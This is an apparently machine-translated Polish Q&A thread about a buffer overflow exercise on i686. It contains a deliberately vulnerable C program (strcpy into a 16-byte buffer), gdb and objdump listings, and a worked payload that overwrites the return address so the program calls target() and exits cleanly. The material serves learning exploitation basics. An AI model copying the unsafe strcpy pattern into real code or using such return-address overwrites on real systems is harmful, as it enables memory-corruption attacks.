2016-03-30 18 views
12

Dla moich badaniach staram się stworzyć ładunek tak, że przepełnia bufor i wywołuje funkcję „tajne” o nazwie „target”Exploit przepełnienie bufora

Jest to kod używam do testowania na i686

#include "stdio.h" 
#include "string.h" 
void target() { 
    printf("target\n"); 
} 
void vulnerable(char* input) { 
    char buffer[16]; 
    strcpy(buffer, input); 
} 
int main(int argc, char** argv) { 
    if(argc == 2) 
    vulnerable(argv[1]); 
    else 
    printf("Need an argument!"); 

    return 0; 
} 

Zadanie 1: Utwórz ładunek, aby wywołać funkcję target(). To było dość łatwe do zrobienia poprzez zastąpienie EIP adresem docelowej funkcji.

ten sposób bufor wygląda

Buffer 
(gdb) x/8x buffer 
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532 
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca 

Ładowność Kiedyś było:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08' 

Działa to dobrze, ale zatrzymuje się z winy segmentacji.

Zadanie 2: Modyfikacja ładunek w taki sposób, że nie daje winy segmentacji

To gdzie siedzę. Oczywiście powoduje to błąd segmentacji, ponieważ nie wywołujemy celu za pomocą instrukcji wywołania, a zatem nie ma poprawnego adresu zwrotnego.

Próbowałem dodać adres powrotu na stosie, ale to nie pomogło

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08' 

Może ktoś może mi pomóc z tym. Prawdopodobnie muszę też dodać zapisany EBP głównego?

Załączam objdump o programowo

0804847d <target>: 
804847d: 55      push %ebp 
804847e: 89 e5     mov %esp,%ebp 
8048480: 83 ec 18    sub $0x18,%esp 
8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp) 
804848a: e8 c1 fe ff ff   call 8048350 <[email protected]> 
804848f: c9      leave 
8048490: c3      ret  

08048491 <vulnerable>: 
8048491: 55      push %ebp 
8048492: 89 e5     mov %esp,%ebp 
8048494: 83 ec 28    sub $0x28,%esp 
8048497: 8b 45 08    mov 0x8(%ebp),%eax 
804849a: 89 44 24 04    mov %eax,0x4(%esp) 
804849e: 8d 45 e8    lea -0x18(%ebp),%eax 
80484a1: 89 04 24    mov %eax,(%esp) 
80484a4: e8 97 fe ff ff   call 8048340 <[email protected]> 
80484a9: c9      leave 
80484aa: c3      ret  

080484ab <main>: 
80484ab: 55      push %ebp 
80484ac: 89 e5     mov %esp,%ebp 
80484ae: 83 e4 f0    and $0xfffffff0,%esp 
80484b1: 83 ec 10    sub $0x10,%esp 
80484b4: 83 7d 08 02    cmpl $0x2,0x8(%ebp) 
80484b8: 75 12     jne 80484cc <main+0x21> 
80484ba: 8b 45 0c    mov 0xc(%ebp),%eax 
80484bd: 83 c0 04    add $0x4,%eax 
80484c0: 8b 00     mov (%eax),%eax 
80484c2: 89 04 24    mov %eax,(%esp) 
80484c5: e8 c7 ff ff ff   call 8048491 <vulnerable> 
80484ca: eb 0c     jmp 80484d8 <main+0x2d> 
80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp) 
80484d3: e8 58 fe ff ff   call 8048330 <[email protected]> 
80484d8: b8 00 00 00 00   mov $0x0,%eax 
80484dd: c9      leave 
80484de: c3      ret  
80484df: 90      nop 
+0

Proszę dodać notatkę, o której architekturze mowa tutaj. Zakładam x86? –

+0

Ach, przepraszam, tak jest i686 – Chris

+0

To jest trudne .. Staram się utrzymać ebp w stanie nienaruszonym, aby nie uszkodzić stosu, ale nie mogę ustalić, w jaki sposób dostać się do ebpa pchanego przez główne tak, że kod inicjujący, który go nazwał nie pęka. –

Odpowiedz

1

W przeglądarce musi być wystarczająco dużo danych, aby wypełnić zarezerwowaną pamięć stosu gdzie „buforowych” znajduje się, a następnie bardziej nadpisać wskaźnik ramki stosu, a następnie zastąpić zwrot adres o adresie target(), a następnie jeszcze jeden adres w obrębie target(), ale nie na samym początku funkcji - wprowadź go, aby stary wskaźnik ramki stosu nie został naciśnięty na stosie. To spowoduje, że uruchomisz cel, a nie zwrócisz go poprawnie od vulnerable(), a następnie ponownie uruchomisz target(), aby powrócić z target() do main() i zakończyć bez usterki segmentacji.

Kiedy wchodzimy wrażliwe() po raz pierwszy i zamiar umieścić dane do kategorii „bufor” zmienna stos wygląda tak:

----------- 
| 24-bytes of local storage - 'buffer' lives here 
----------- 
| old stack frame pointer (from main) <-- EBP points here 
----------- 
| old EIP (address in main) 
----------- 
| 'input' argument for 'vulnerable' 
----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

Więc zaczynając od adresu „bufor” my trzeba umieścić 24-bajtowe śmieci na przechodząc obok lokalnego magazynu zarezerwowanego na stosie, a następnie 4-więcej bajtów, aby uzyskać za starym wskaźnikiem ramki stosu przechowywanym na stosie, a następnie jesteśmy w lokalizacji , gdzie stary EIP jest przechowywany. To wskaźnik instrukcji, który CPU ślepo śledzi. Lubimy go. Pomoże nam zniszczyć ten program.Mamy nadpisać wartość starego EIP w stosie, który obecnie wskazuje na adres w main() z adresem startowym docelowego(), która znajduje się za pomocą polecenia zdemontować gdb :

(gdb) disas target 
Dump of assembler code for function target: 
    0x08048424 <+0>:  push %ebp 
    0x08048425 <+1>:  mov %esp,%ebp 
    0x08048427 <+3>:  sub $0x18,%esp 
    0x0804842a <+6>:  movl $0x8048554,(%esp) 
    0x08048431 <+13>: call 0x8048354 <[email protected]> 
    0x08048436 <+18>: leave 
    0x08048437 <+19>: ret 
End of assembler dump. 

adres Funkcja target() to 0x08048424. Ponieważ system (przynajmniej mój system) jest małym endianem, najpierw wpisujemy te wartości za pomocą LSB, a więc x24, x84, x04 i x08.

Ale to pozostawia nas z problemem, ponieważ jako wrażliwe() zwraca wyskakuje cały śmieci, które stawiamy w stosie ze stosu i jesteśmy w lewo z stos że wygląda tak, gdy jesteśmy tylko o proces w celu() po raz pierwszy :

----------- 
| 'input' argument for 'vulnerable' 
----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

więc kiedy cel() chce wrócić nie znajdzie adresu zwrotnego na szczycie jego stosie zgodnie z oczekiwaniami, a więc będą miały usterki segmentacji.

Chcemy wymusić nową wartość zwracaną na szczycie stosu, zanim rozpoczniemy przetwarzanie w funkcji target(). Ale jaką wartość wybrać? Nie chcemy pchać EBP, ponieważ zawiera śmieci. Zapamiętaj? Wrzuciliśmy do niego śmieci, gdy nadpisujemy "bufor". Więc zamiast naciskać instrukcję docelową() tuż po

push %ebp

(w tym przypadku adres 0x08048425).

To oznacza, że ​​stos będzie wyglądać, gdy cel() jest gotowy do powrotu po raz pierwszy:

----------- 
| address of mov %esp, %ebp instruction in target() 
----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

Więc po powrocie z tarczą() po raz pierwszy, EIP będzie teraz punkt przy drugiej instrukcji w target(), co oznacza, że ​​za drugim razem, gdy przetwarzamy poprzez target(), ma on ten sam stos, który miał main() podczas przetwarzania. Górna część stosu to ta sama górna część stosu dla głównej(). Teraz stos wygląda tak:

----------- 
| top of stack for main 
----------- 
| ... more stack here ... 

Więc kiedy cel() zwraca po raz drugi ma dobrą stos powrotu z ponieważ jest przy użyciu tego samego stosu, że main() Używane i tak program zakończy się normalnie.

Podsumowując, jest to 28 bajtów, po których następuje adres pierwszej instrukcji w celu(), po której następuje adres drugiej instrukcji w celu().

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08' 
target 
target 
sys1:/usr2/home> 

A ponieważ po prostu skutecznie posiekany coś w tym momencie jesteś zobowiązany krzyczeć AAARRRGHHH YEEE Hardys! PRZYGOTUJ SIĘ DO ZBIOROWANIA!

Powiązane problemy